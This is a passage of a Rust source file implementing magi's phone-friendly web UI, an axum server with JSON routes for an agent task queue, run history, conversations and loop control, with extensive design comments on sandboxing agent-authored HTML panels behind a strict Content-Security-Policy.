Skip to main content

magi/
web.rs

1//! The web UI: magi's queue and run history, readable from a phone.
2//!
3//! The terminal is the wrong surface for the two things an operator actually
4//! does between runs — file a task and check whether the last competition
5//! landed. Both happen away from the desk, so they get an HTTP surface: a
6//! handful of JSON routes and three embedded files.
7//!
8//! # One binary
9//!
10//! `index.html`, `app.css` and `app.js` are compiled in with [`include_str!`].
11//! There is no `--assets-dir` and no filesystem fallback, because a UI that
12//! reads its own front end from disk breaks the moment the binary is copied
13//! somewhere else — which is exactly what `cargo install magi-cli` does. No
14//! JS toolchain, no CDN, no remote font: everything the phone needs arrives
15//! from this process.
16//!
17//! # No authentication
18//!
19//! There is none, deliberately, and the startup log says so. The tailnet is
20//! the security boundary: `--bind auto` resolves to this machine's Tailscale
21//! address, so the UI is reachable from the operator's own devices and from
22//! nothing else. Anyone who can open the URL can file and hold tasks, which is
23//! why binding to `0.0.0.0` is not offered and why the fallback when Tailscale
24//! is missing is loopback rather than every interface.
25//!
26//! # Change notification
27//!
28//! A phone must not poll a full run list on a mobile link. `GET /api/events`
29//! is a server-sent stream carrying nothing but two revision numbers — the
30//! newest modification time in the queue and under the runs directory — so the
31//! client refetches only what moved. The browser's own SSE reconnection covers
32//! a sleeping phone; there is no session to lose.
33//!
34//! # Reading state must never take the server down
35//!
36//! A corrupt `run.json` is skipped in the list and explained with a 500 on the
37//! detail route. No handler unwraps a filesystem or parse result: a single bad
38//! file left by a killed run would otherwise turn the whole history into a
39//! blank page.
40//!
41//! # Agent-authored HTML, rendered anyway
42//!
43//! Everything else here refuses to put API data into the document: `app.js`
44//! builds nodes and sets `textContent`, and even an href from a run record is
45//! laundered first. A confirmation panel breaks that rule on purpose - an
46//! agent asking the owner to approve a merge needs a diff and a table, not one
47//! line of prose - and the only reason it is acceptable is that the panel is
48//! never part of this document.
49//!
50//! It is served by [`question_panel`] and [`question_asset`] and rendered in an
51//! `<iframe sandbox>` carrying no tokens: no `allow-scripts`, no
52//! `allow-same-origin`. So no script in a panel runs, and the frame cannot
53//! reach the parent document, the cookie jar or `localStorage`. On top of that
54//! both routes send [`PANEL_CSP`], which denies every network destination, so a
55//! panel cannot phone home through a remote image or a beacon either - the two
56//! things it may load, images and inline CSS, are the two things free
57//! formatting actually needs. Assets come from the question's own directory and
58//! never from the network, and their content types come from a closed
59//! whitelist, so an agent cannot get markup rendered outside the frame by
60//! naming a file `.html`.
61//!
62//! # A conversation turn is not a filesystem read
63//!
64//! Every other route here is disk work, which is why [`blocking`] exists.
65//! `POST /api/talks/{id}/say` is the exception: it spawns an agent CLI and
66//! waits tens of seconds for a sentence. It is a plain `await` holding no lock
67//! and no executor thread, and concurrent turns on one talk are refused rather
68//! than queued - see [`Ui::begin_talk_turn`].
69//!
70//! # The loop runs here
71//!
72//! `magi web` runs the queue loop in this process, started and stopped from
73//! `/api/loop`. That is the point of the whole surface: a task filed from a
74//! phone with nobody around to type `magi serve` is a task that sits in the
75//! queue until someone walks back to the machine.
76//!
77//! It is a tokio task holding a [`daemon::Stop`], not a child process. There
78//! is no pid file of this module's own and nothing to supervise - a child
79//! would need reaping, a second copy of the daemon's retry policy, and a
80//! story for what happens when `magi web` dies with the loop still running.
81//! `<home>/daemon.json`, which the loop itself writes, stays the only
82//! cross-process signal, and it is how this process notices that the
83//! operator's own `magi serve` already owns the loop and refuses to start a
84//! second one that would fight it for claims.
85//!
86//! Stopping is cooperative and therefore not instant. A run in flight is
87//! finished first, for the reason [`daemon::serve`] gives: killing the graph
88//! mid-node leaves worktrees, branches and agent sessions behind and throws
89//! away every agent call already paid for. `POST /api/loop` sets the flag and
90//! answers immediately rather than waiting, because the wait is measured in
91//! tens of minutes and the operator is holding a phone.
92
93use std::collections::{HashMap, HashSet};
94use std::convert::Infallible;
95use std::net::{IpAddr, Ipv4Addr, SocketAddr};
96use std::path::{Path as FsPath, PathBuf};
97use std::pin::Pin;
98use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
99use std::time::Duration;
100use tokio::sync::Notify;
101
102use anyhow::{Context, Result};
103use axum::Json;
104use axum::Router;
105use axum::body::Bytes;
106use axum::extract::rejection::JsonRejection;
107use axum::extract::{DefaultBodyLimit, Path, Query, State};
108use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
109use axum::response::sse::{Event, KeepAlive, Sse};
110use axum::response::{IntoResponse, Response};
111use axum::routing::{delete, get, post};
112use jiff::Timestamp;
113use serde::{Deserialize, Serialize};
114use tokio_stream::StreamExt as _;
115use tokio_stream::wrappers::ReceiverStream;
116
117use crate::ask::{Answer, Question, Questions};
118use crate::config::{Config, Update, UpdateMode};
119use crate::md;
120use crate::proc::Quiet as _;
121use crate::queue::{Queue, Task, title_from};
122use crate::run::{RunState, RunStatus};
123use crate::talk::{Talk, Talks};
124use crate::{daemon, report, repos, run, talk, updater};
125
126/// Default port. Chosen high and memorable; nothing else in the fleet uses it.
127pub const DEFAULT_PORT: u16 = 7878;
128
129/// How often the change stream restats the queue and the runs directory.
130const POLL: Duration = Duration::from_secs(1);
131
132/// Keep-alive interval for the change stream. Phones and intermediaries drop
133/// an idle connection within a minute; a comment every fifteen seconds keeps
134/// the stream alive without waking the radio often enough to matter.
135const KEEPALIVE: Duration = Duration::from_secs(15);
136
137/// Ceiling on how long [`run_update_recheck`] ever sleeps between wake-ups.
138///
139/// A fixed period this long would not track a `[update] interval` shorter
140/// than itself: an operator who set `interval = "1m"` to make the deck
141/// notice a release within a minute would still wait up to fifteen of them
142/// for the next wake-up to even ask [`updater::Checker::should_check`].
143/// [`recheck_poll_period`] scales the sleep with the configured interval
144/// instead, and this is only its ceiling - reached at the default interval
145/// of a day, where waking any more often would just spend cycles asking a
146/// question that stays "no" for hours.
147const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
148
149/// Floor on the same, so a very short `[update] interval` cannot spin
150/// [`run_update_recheck`] in a near-busy loop.
151const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
152
153/// Runs returned when the client does not ask, and the ceiling if it asks for
154/// more. The cap exists because the list handler parses every `run.json` it
155/// returns, and a phone cannot render two thousand rows anyway.
156const LIST_DEFAULT: usize = 50;
157/// Upper bound for `?limit=`.
158const LIST_MAX: usize = 500;
159
160/// Width of a generated task title, matching what the CLI uses.
161const TITLE_MAX: usize = 72;
162
163/// Per-file cap for an attachment upload.
164///
165/// Enforced twice: axum's own body limit is raised one byte above this, only
166/// on the two attachment `POST` routes (see the router - every other route
167/// keeps the crate-wide default), so an oversize body is still read far
168/// enough to answer with our own message below rather than axum's generic
169/// one; this constant is what that message and the boundary check actually
170/// compare against.
171const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
172
173/// The image types an attachment upload accepts - a closed whitelist, the
174/// same posture [`asset_content_type`] takes for panel assets and for the
175/// same reason: SVG is excluded on purpose because it is active content
176/// (it may carry `<script>`) and not merely a picture, so it never appears
177/// here even though `image/svg+xml` is a real IANA type.
178const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
179
180/// Header carrying the operator's own filename. Free text, stored only for
181/// display - see [`talk::Attachment::name`]'s doc on why it never
182/// contributes to a path.
183const FILENAME_HEADER: &str = "x-filename";
184
185/// The header that makes serving agent-authored HTML defensible, sent by both
186/// panel routes and asserted verbatim by a test.
187///
188/// Read it as a list of things a hostile panel cannot do. `default-src 'none'`
189/// denies every fetch destination that is not re-allowed below, which is all of
190/// them except images and fonts; `img-src 'self' data:` means an image comes
191/// from magi's own asset route or from the document itself, so a panel cannot
192/// signal an outside server by pointing an `<img>` at it - the classic
193/// exfiltration channel for markup that cannot run script. `style-src
194/// 'unsafe-inline'` is the one permission granted, because inline CSS is what
195/// free formatting means here and a style sheet cannot make a request that
196/// `default-src` has not already allowed. `base-uri 'none'` stops a `<base>`
197/// tag re-pointing the relative asset URLs somewhere else, `form-action 'none'`
198/// stops a form posting the owner's decision to a third party, and
199/// `frame-ancestors 'self'` stops another site framing the panel to phish with
200/// it.
201///
202/// There is deliberately no `script-src`: `default-src 'none'` already covers
203/// it, and the sandboxed frame carries no `allow-scripts` either, so script is
204/// denied twice over. Weakening any directive here is the difference between a
205/// panel the owner reads and a page that can talk to the tailnet, which is why
206/// the test compares the whole string rather than looking for a substring.
207const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
208                         font-src data:; base-uri 'none'; form-action 'none'; \
209                         frame-ancestors 'self'";
210
211const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
212const APP_CSS: &str = include_str!("../assets/ui/app.css");
213const APP_JS: &str = include_str!("../assets/ui/app.js");
214
215/// Which address to listen on.
216#[derive(Debug, Clone, Copy, PartialEq, Eq)]
217pub enum Bind {
218    /// Ask Tailscale, and fall back to loopback with a warning.
219    Auto,
220    /// An address the operator named.
221    Addr(IpAddr),
222}
223
224impl std::str::FromStr for Bind {
225    type Err = String;
226
227    /// `auto`, or anything [`IpAddr`] accepts. Parsing lives with the type so
228    /// the CLI can take `--bind` straight into it: the one spelling of
229    /// `auto` that matters is the one this function knows.
230    fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
231        if s.eq_ignore_ascii_case("auto") {
232            return Ok(Self::Auto);
233        }
234        s.parse()
235            .map(Self::Addr)
236            .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
237    }
238}
239
240impl std::fmt::Display for Bind {
241    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
242        match self {
243            Self::Auto => f.write_str("auto"),
244            Self::Addr(addr) => write!(f, "{addr}"),
245        }
246    }
247}
248
249/// How to serve.
250#[derive(Debug, Clone)]
251pub struct Opts {
252    /// Address to listen on.
253    pub bind: Bind,
254    /// Port to listen on.
255    pub port: u16,
256    /// Repository used for tasks posted without one.
257    pub repo: PathBuf,
258    /// Print the URL on its own line for a caller that wants to hand it to a
259    /// browser. magi never launches one itself.
260    pub open: bool,
261    /// Merge mode override for the loop this process runs (`none`, `local`,
262    /// `pr`); `None` leaves it to each repository's own config.
263    ///
264    /// The same override `magi serve --merge` takes, and here for the same
265    /// reason: `magi web` is now the thing that runs the loop, so an operator
266    /// who wants this session's runs to open pull requests has to be able to
267    /// say so without going back to the command they no longer type.
268    pub merge: Option<String>,
269}
270
271impl Default for Opts {
272    fn default() -> Self {
273        Self {
274            bind: Bind::Auto,
275            port: DEFAULT_PORT,
276            repo: PathBuf::from("."),
277            open: false,
278            merge: None,
279        }
280    }
281}
282
283/// Everything the handlers touch.
284///
285/// The queue, the runs directory and the magi home are fields rather than
286/// process-global lookups so a test drives the real router against a temp
287/// directory instead of the operator's own history.
288#[derive(Debug, Clone)]
289pub struct Ui {
290    queue: Queue,
291    questions: Questions,
292    talks: Talks,
293    runs: PathBuf,
294    home: PathBuf,
295    repo: PathBuf,
296    /// Where the runs' worktrees live, for the health disk figures.
297    ///
298    /// Spelled independently of [`crate::run::default_worktree_root`] so the
299    /// test servers can point it at their own temp directory: the health route
300    /// sizes it, and sizing the operator's real `~/wt/magi` from a test would
301    /// be measuring the machine instead of the server.
302    worktrees_root: PathBuf,
303    /// Talks with an agent turn in flight right now.
304    ///
305    /// In-process and therefore not durable, which is correct: it guards
306    /// against two taps on one phone and two phones on one tailnet, both of
307    /// which are this process's own concurrency. A second `magi web` would not
308    /// see it, and a second `magi web` on the same home is already a
309    /// misconfiguration the queue's claims would catch first.
310    talk_turns: Arc<Mutex<HashSet<String>>>,
311    /// Runs this process is resuming right now.
312    ///
313    /// Separate from `talk_turns` because a run and a talk are different
314    /// things to hold, and a resume is far more expensive to start twice: it
315    /// re-asks agent seats. Same reasoning about scope as `talk_turns` — this
316    /// guards two taps and two phones, which is this process's own
317    /// concurrency.
318    resuming: Arc<Mutex<HashSet<String>>>,
319    /// The last scan of `[repos] roots`, and when it happened. Shared across
320    /// requests so polling `GET /api/repos` repeatedly does not repeat the
321    /// filesystem walk every time - see [`repos::Cache`].
322    repos_cache: repos::Cache,
323    /// Merge mode override handed to the loop this process starts.
324    merge: Option<String>,
325    /// The loop this process is running, if it is running one.
326    looping: Arc<Mutex<LoopState>>,
327    /// How a loop is actually started.
328    ///
329    /// A field rather than a direct call to [`daemon::serve_until`], because
330    /// the real loop resolves its queue and its status file through the
331    /// process-global magi home and claims whatever it finds there. A test
332    /// that started it would reach straight past its own temp directory into
333    /// the operator's live queue, overwrite the status file of the `magi
334    /// serve` that owns it, and spend real agent quota on a real competition.
335    /// What the routes have to get right is the bookkeeping, so the tests
336    /// drive the routes against a loop that only starts and stops; production
337    /// is [`launch_daemon`] and nothing reassigns it.
338    launch: Launch,
339}
340
341impl Ui {
342    /// A server over explicit paths.
343    pub fn new(
344        queue: Queue,
345        questions: Questions,
346        talks: Talks,
347        runs: PathBuf,
348        home: PathBuf,
349        repo: PathBuf,
350    ) -> Self {
351        Self {
352            queue,
353            questions,
354            talks,
355            runs,
356            home,
357            repo,
358            // The default location, overridden by `with_worktrees_root` - a
359            // builder step rather than a ninth parameter, for the reason
360            // `with_merge` gives.
361            worktrees_root: run::default_worktree_root(),
362            talk_turns: Arc::default(),
363            resuming: Arc::default(),
364            repos_cache: repos::Cache::new(),
365            merge: None,
366            looping: Arc::default(),
367            launch: launch_daemon,
368        }
369    }
370
371    /// The operator's own state: `<home>/queue`, `<home>/questions`,
372    /// `<home>/talks`, `<home>/runs`.
373    pub fn open(repo: PathBuf) -> Self {
374        Self::new(
375            Queue::open(),
376            Questions::open(),
377            Talks::open(),
378            run::runs_root(),
379            run::home(),
380            repo,
381        )
382    }
383
384    /// The merge mode the loop should use, as the command line gave it.
385    ///
386    /// A builder step rather than a seventh parameter on [`Ui::new`], because
387    /// the override is a property of how this process was invoked and not of
388    /// where its state lives - which is all the tests that build a `Ui` by
389    /// hand are saying.
390    #[must_use]
391    pub fn with_merge(mut self, merge: Option<String>) -> Self {
392        self.merge = merge;
393        self
394    }
395
396    /// Where the runs' worktrees live, when it is not the default.
397    ///
398    /// The health view sizes this directory, so a test that leaves it at the
399    /// default would be measuring the operator's own machine.
400    #[must_use]
401    pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
402        self.worktrees_root = root;
403        self
404    }
405
406    /// Point the loop at something other than [`launch_daemon`].
407    ///
408    /// Test-only, and deliberately: see [`Ui::launch`] for why no test in
409    /// this crate may start the real loop.
410    #[cfg(test)]
411    #[must_use]
412    fn with_launch(mut self, launch: Launch) -> Self {
413        self.launch = launch;
414        self
415    }
416
417    /// The loop's state, for [`serve`]'s own way out.
418    fn looping(&self) -> Arc<Mutex<LoopState>> {
419        Arc::clone(&self.looping)
420    }
421
422    /// Start the loop in this process, or say who already has one.
423    ///
424    /// `foreign` is passed in rather than read here so that one request makes
425    /// one judgement about who owns the loop: reading the status file again
426    /// inside this function could refuse a start for a daemon the same
427    /// response then reports as gone.
428    fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
429        if let Some(other) = foreign {
430            return Err(ApiError::conflict(format!(
431                "{} is already running the loop, so this one will not start a \
432                 second: two loops on one queue race for the same claims and \
433                 burn the agent quota twice over. Stop it where it was \
434                 started.",
435                other.who()
436            )));
437        }
438        let mut state = self.lock_loop();
439        if state.live.as_ref().is_some_and(Live::alive) {
440            return Err(ApiError::conflict(format!(
441                "this magi web process (pid {}) is already running the loop",
442                std::process::id()
443            )));
444        }
445
446        let stop = daemon::Stop::new();
447        // The CLI's own defaults for everything the UI has no opinion about:
448        // one poll interval and one retry budget, so a loop started from a
449        // phone behaves exactly like the `magi serve` it replaces.
450        let opts = daemon::Opts {
451            repo: self.repo.clone(),
452            merge: self.merge.clone(),
453            // Whatever this `Ui` already reports worktree sizes and folds
454            // against (see `with_worktrees_root`) is what the loop it starts
455            // must reclaim orphaned worktrees under too - two different
456            // opinions about where the worktree bay is would leave the
457            // janitor pass reclaiming a directory nothing else on this
458            // process is even looking at.
459            worktrees_root: Some(self.worktrees_root.clone()),
460            ..daemon::Opts::default()
461        };
462        let launch = self.launch;
463        let looping = Arc::clone(&self.looping);
464        let handle = tokio::spawn({
465            let opts = opts.clone();
466            let stop = stop.clone();
467            async move {
468                let failure = match launch(opts, stop).await {
469                    Ok(()) => None,
470                    Err(e) => Some(format!("{e:#}")),
471                };
472                match &failure {
473                    Some(why) => tracing::error!("the loop stopped: {why}"),
474                    None => tracing::info!("the loop stopped"),
475                }
476                // Recorded by the task itself rather than reaped by whichever
477                // request happens next, so `loop_rev` moves the moment the
478                // loop ends and a phone with the change stream open learns
479                // that it did. Clearing `live` drops this task's own handle,
480                // which only detaches it, and is the last thing it does.
481                let mut state = lock_or_recover(&looping);
482                state.live = None;
483                state.last_error = failure;
484                state.rev += 1;
485            }
486        });
487        tracing::info!(
488            "the loop is now running in this process: repo {}, merge {}",
489            opts.repo.display(),
490            opts.merge.as_deref().unwrap_or("as the config says")
491        );
492        state.live = Some(Live { stop, handle, opts });
493        // A fresh start is not the place to keep showing why the last one
494        // died; the operator has read it and pressed the button anyway.
495        state.last_error = None;
496        state.rev += 1;
497        Ok(())
498    }
499
500    /// Ask the loop to stop, without waiting for it to get there.
501    ///
502    /// Idempotent: a second tap on stop is not an error, because the first one
503    /// leaves the loop running for as long as the run in flight takes and the
504    /// operator has no way to tell a slow stop from a lost one.
505    fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
506        if let Some(other) = foreign {
507            return Err(ApiError::conflict(format!(
508                "the loop belongs to {}, and this process cannot stop it - \
509                 stop it where it was started. A button that silently did \
510                 nothing would be worse than this refusal.",
511                other.who()
512            )));
513        }
514        let mut state = self.lock_loop();
515        let Some(live) = state.live.as_ref() else {
516            return Ok(());
517        };
518        // A park upgrades a stop that has already been asked for: the
519        // operator who tapped "stop" and then realised the run has an hour
520        // left must not have to restart the loop to change their mind.
521        if live.stop.stopped() && (!park || live.stop.parking()) {
522            return Ok(());
523        }
524        if park {
525            live.stop.park();
526            tracing::info!("the loop was asked to park; the run stops at its next node boundary");
527        } else {
528            live.stop.stop();
529            tracing::info!("the loop was asked to stop; a run in flight is finished first");
530        }
531        state.rev += 1;
532        Ok(())
533    }
534
535    /// The loop as both `/api/loop` and `/api/health` report it.
536    ///
537    /// `reading` is the caller's single read of `<home>/daemon.json`, because
538    /// health answers with this view *and* the daemon object beside it: one
539    /// read per response is what stops a single answer naming a foreign owner
540    /// in one field and calling the loop free in the other.
541    fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
542        let state = self.lock_loop();
543        // A loop that panicked never recorded its own end, so the handle -
544        // not the presence of the record - is what "running" means.
545        let live = state.live.as_ref().filter(|live| live.alive());
546        LoopView {
547            running: live.is_some(),
548            stopping: live.is_some_and(|live| live.stop.finishing()),
549            parking: live.is_some_and(|live| live.stop.parking()),
550            owned: live.is_some(),
551            repo: live
552                .map_or(&self.repo, |live| &live.opts.repo)
553                .display()
554                .to_string(),
555            merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
556            last_error: state.last_error.clone(),
557            daemon: DaemonView::of(reading),
558        }
559    }
560
561    /// Take the loop lock. See [`lock_or_recover`] for why it cannot fail.
562    fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
563        lock_or_recover(&self.looping)
564    }
565
566    /// Claim the right to run one turn in a talk, or refuse.
567    ///
568    /// A talk is strictly turn-based: the agent is resumed with the
569    /// conversation it already has, so two turns running at once would resume
570    /// the same session twice and append their answers in whatever order the
571    /// two CLIs finished in. The operator would come back to a transcript
572    /// with two half-turns interleaved, which is unreadable and, worse,
573    /// unfixable - there is no undo for a persisted turn.
574    ///
575    /// Refusing with a conflict rather than queueing behind the first turn is
576    /// the deliberate half. A turn takes tens of seconds, so a phone on a slow
577    /// link is exactly the case where the operator taps send twice; queueing
578    /// would answer the second tap with a second agent turn on text they only
579    /// meant to send once, and would do it a minute later when they have
580    /// stopped looking. An immediate 409 is a thing the front end can act on.
581    ///
582    /// The lock is a `std::sync::Mutex` and never crosses an `await`: it is
583    /// taken to test-and-insert and released before the agent is spawned. The
584    /// returned guard removes the id on drop, which is what makes a panicking
585    /// handler or a phone that walks out of range leave the talk usable - axum
586    /// drops the handler future when the client disconnects, and without the
587    /// guard that talk would be wedged until the server restarted.
588    fn begin_talk_turn(&self, id: &str) -> ApiResult<TalkTurnGuard> {
589        let mut live = self
590            .talk_turns
591            .lock()
592            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
593        if !live.insert(id.to_owned()) {
594            return Err(ApiError::conflict(format!(
595                "talk {id} is already taking a turn"
596            )));
597        }
598        Ok(TalkTurnGuard {
599            talk: id.to_owned(),
600            turns: Arc::clone(&self.talk_turns),
601        })
602    }
603
604    /// Park the loop for an upgrade, and report the run that is parking.
605    ///
606    /// A park rather than a stop: a stop waits out the whole competition, and
607    /// not waiting is the point of upgrading from a phone. `None` means
608    /// nothing was in flight, which is worth saying so the operator is not
609    /// told a run is parking when none is.
610    fn park_for_upgrade(&self) -> ApiResult<Option<String>> {
611        let parking = {
612            let mut state = self.lock_loop();
613            let Some(live) = state.live.as_ref() else {
614                return Ok(None);
615            };
616            let busy = live.stop.busy_now();
617            live.stop.park();
618            state.rev += 1;
619            busy
620        };
621        Ok(if parking {
622            // More than one run can be in flight now (see
623            // `Config::daemon.max_concurrent_runs`); this answer names one of
624            // them so the operator sees a park actually happened, not every
625            // run a park now asks to stop at its next boundary.
626            daemon::current_work(&self.home, jiff::Timestamp::now())
627                .into_iter()
628                .next()
629                .map(|c| c.run)
630        } else {
631            None
632        })
633    }
634
635    /// Claim a run for a resume, on the same reasoning as
636    /// [`Ui::begin_talk_turn`]: a guard that releases on drop, so a
637    /// disconnected phone does not wedge the run until the server restarts.
638    fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
639        let mut live = self
640            .resuming
641            .lock()
642            .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
643        if !live.insert(id.to_owned()) {
644            return Err(ApiError::conflict(format!(
645                "run {id} is already being resumed"
646            )));
647        }
648        Ok(ResumeGuard {
649            run: id.to_owned(),
650            resuming: Arc::clone(&self.resuming),
651        })
652    }
653
654    /// The router, with this state baked in.
655    ///
656    /// The three front-end files get one explicit route each rather than a
657    /// path parameter, so there is no traversal surface to get wrong: the set
658    /// of servable paths is the set written here. The asset route below is the
659    /// one exception and the only place in this server where a client names a
660    /// file; it is why [`valid_asset_name`] is checked before a path is built.
661    pub fn router(self) -> Router {
662        Router::new()
663            .route("/", get(index))
664            .route("/app.css", get(app_css))
665            .route("/app.js", get(app_js))
666            .route("/api/health", get(health))
667            .route("/api/loop", get(loop_get).post(loop_post))
668            .route("/api/upgrade", post(upgrade_post))
669            .route("/api/runs", get(runs_list))
670            .route("/api/runs/{id}", get(run_detail).delete(run_delete))
671            .route("/api/runs/{id}/report", get(run_report))
672            .route("/api/runs/{id}/fold", post(run_fold))
673            .route("/api/runs/{id}/resume", post(run_resume))
674            .route("/api/queue", get(queue_list))
675            .route("/api/queue/{id}", delete(queue_delete))
676            .route("/api/repos", get(repos_list))
677            .route("/api/queue/{id}/hold", post(queue_hold))
678            .route("/api/queue/{id}/release", post(queue_release))
679            .route("/api/queue/{id}/priority", post(queue_priority))
680            .route("/api/queue/{id}/edit", post(queue_edit))
681            .route("/api/queue/{id}/done", post(queue_done))
682            .route("/api/questions", get(questions_list))
683            .route("/api/questions/{id}/answer", post(question_answer))
684            .route("/api/questions/{id}/say", post(question_say))
685            .route("/api/questions/{id}/panel", get(question_panel))
686            // The same asset, reachable from inside the panel by its bare
687            // filename. A document served at `.../panel` resolves `shot.png`
688            // to `.../shot.png`, which is not the asset route, so a panel
689            // written the way its author was told to write it showed broken
690            // images. `base-uri 'none'` means a `<base>` tag cannot paper over
691            // it - deliberately - so the fix is that the panel's own URL ends
692            // in a filename and its siblings are the assets.
693            .route("/api/questions/{id}/panel/index.html", get(question_panel))
694            .route("/api/questions/{id}/panel/{name}", get(question_asset))
695            .route("/api/questions/{id}/asset/{name}", get(question_asset))
696            .route("/api/talks", get(talks_list).post(talk_post))
697            .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
698            .route("/api/talks/{id}/say", post(talk_say))
699            .route("/api/talks/{id}/close", post(talk_close))
700            .route("/api/talks/{id}/reopen", post(talk_reopen))
701            // `DefaultBodyLimit` is raised only on this one route - every
702            // other route on this server answers in a few kilobytes, and
703            // widening the crate-wide default for all of them just because
704            // one accepts a picture would let any other handler be handed
705            // a multi-megabyte body it never expects.
706            .route(
707                "/api/talks/{id}/attachments",
708                post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
709            )
710            .route(
711                "/api/talks/{id}/attachments/{att}",
712                get(talk_attachment_get),
713            )
714            .route("/api/events", get(events))
715            .with_state(Arc::new(self))
716    }
717}
718
719/// One talk's turn slot, released on drop.
720///
721/// A guard rather than a matching `remove` at the end of the handler, because
722/// the handler has several early returns and one `await` that can be cancelled
723/// out from under it. A leaked id is a talk nobody can talk to again.
724#[derive(Debug)]
725struct TalkTurnGuard {
726    talk: String,
727    turns: Arc<Mutex<HashSet<String>>>,
728}
729
730impl Drop for TalkTurnGuard {
731    fn drop(&mut self) {
732        if let Ok(mut live) = self.turns.lock() {
733            live.remove(&self.talk);
734        }
735    }
736}
737
738/// Releases a resume claim, so a run is resumable again after the attempt.
739struct ResumeGuard {
740    run: String,
741    resuming: Arc<Mutex<HashSet<String>>>,
742}
743
744impl Drop for ResumeGuard {
745    fn drop(&mut self) {
746        if let Ok(mut live) = self.resuming.lock() {
747            live.remove(&self.run);
748        }
749    }
750}
751
752/// Bind the port, waiting briefly for a predecessor to let go of it.
753///
754/// A restart hands the address from one process to the next, and the old one
755/// holds its listener until it unwinds. A single `bind` can lose that race,
756/// and for a restart triggered from a phone that means the deck never comes
757/// back with no terminal around to say why.
758///
759/// Bounded, and only for the one error a wait can fix: anything else fails at
760/// once, because retrying it would turn a clear message into a silence.
761async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
762    const WINDOW: Duration = Duration::from_secs(10);
763    const GAP: Duration = Duration::from_millis(250);
764
765    let deadline = std::time::Instant::now() + WINDOW;
766    let mut said = false;
767    loop {
768        match tokio::net::TcpListener::bind(socket).await {
769            Ok(listener) => return Ok(listener),
770            Err(e)
771                if e.kind() == std::io::ErrorKind::AddrInUse
772                    && std::time::Instant::now() < deadline =>
773            {
774                if !said {
775                    said = true;
776                    tracing::info!(
777                        "{socket} is still held - waiting up to {}s for it, \
778                         which is what a restart looks like from here",
779                        WINDOW.as_secs()
780                    );
781                }
782                tokio::time::sleep(GAP).await;
783            }
784            Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
785        }
786    }
787}
788
789/// Signalled when an upgrade has replaced the binary and the successor should
790/// take this address over. One per process: there is one address to hand on.
791static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
792
793/// Start this binary again with the same arguments, detached.
794///
795/// Called from [`serve`]'s exit path, *after* the listener has been dropped,
796/// so the address is already free when the successor binds it. The first
797/// attempt at this spawned the successor two hundred milliseconds before
798/// exiting instead, and the released binary - which has no bind retry - died
799/// on "address already in use" with its stdio sent to null, so the deck
800/// simply never came back.
801///
802/// Detached and without inherited stdio: the successor has to outlive this
803/// process, and must not hold open a pipe a terminal is waiting on.
804fn spawn_successor() -> Result<()> {
805    let exe = std::env::current_exe().context("find this binary")?;
806    let args: Vec<String> = std::env::args().skip(1).collect();
807    tracing::info!("restarting: {} {}", exe.display(), args.join(" "));
808
809    let mut cmd = std::process::Command::new(&exe);
810    cmd.args(&args)
811        .stdin(std::process::Stdio::null())
812        .stdout(std::process::Stdio::null())
813        .stderr(std::process::Stdio::null());
814    #[cfg(windows)]
815    {
816        use std::os::windows::process::CommandExt as _;
817        // DETACHED_PROCESS | CREATE_NEW_PROCESS_GROUP: no console to inherit,
818        // and Ctrl-C in the old terminal must not reach the successor.
819        cmd.creation_flags(0x0000_0008 | 0x0000_0200);
820    }
821    cmd.spawn().context("start the successor")?;
822    Ok(())
823}
824
825/// Serve the UI until Ctrl-C, finishing a run the loop has in flight.
826///
827/// The server itself owns no state, so nothing here is graceful for the HTTP
828/// side's sake: the connections go with the dropped listener, which costs a
829/// phone one change-stream reconnection it was going to make anyway.
830///
831/// The signal branch is not optional now that the loop lives in this process.
832/// [`daemon::serve_until`] listens for Ctrl-C itself, and a registered
833/// handler is what stops the signal terminating the process - so without a
834/// branch of our own, the first Ctrl-C after the operator started the loop
835/// would stop the loop and leave `magi web` listening forever, unkillable
836/// from the terminal it was started in.
837///
838/// What it waits for is the loop, not the sockets. A run in flight is
839/// finished first, for the reason [`daemon::serve`] gives: killing the graph
840/// mid-node leaves worktrees, branches and agent sessions behind and throws
841/// away every agent call already paid for.
842///
843/// The server therefore runs on a task of its own rather than inside the
844/// `select!`: an arm that resolves *drops* the futures the other arms were
845/// polling, so serving the address from inside one would take the deck down
846/// at the instant the handover began and keep it down for the whole park -
847/// up to `timeout_implement`, an hour by default. See [`hand_over`], which
848/// owns the order.
849pub async fn serve(opts: Opts) -> Result<()> {
850    let (addr, warning) = resolve_bind(&opts.bind);
851    if let Some(warning) = warning {
852        tracing::warn!("{warning}");
853    }
854
855    // Process-global, and therefore set exactly once, here: the report route
856    // must never emit escape sequences into a browser, and toggling the flag
857    // per request would race with a concurrent request rendering its own
858    // report. Startup is the only moment at which no request can observe the
859    // change. Nothing in the server turns colour back on.
860    report::set_color(false);
861
862    let ui = Ui::open(opts.repo).with_merge(opts.merge);
863    // Cloned before `ui.router()` consumes `ui` below: `hand_over` needs the
864    // home to bracket the parking and restarting stages, and `run_update_recheck`
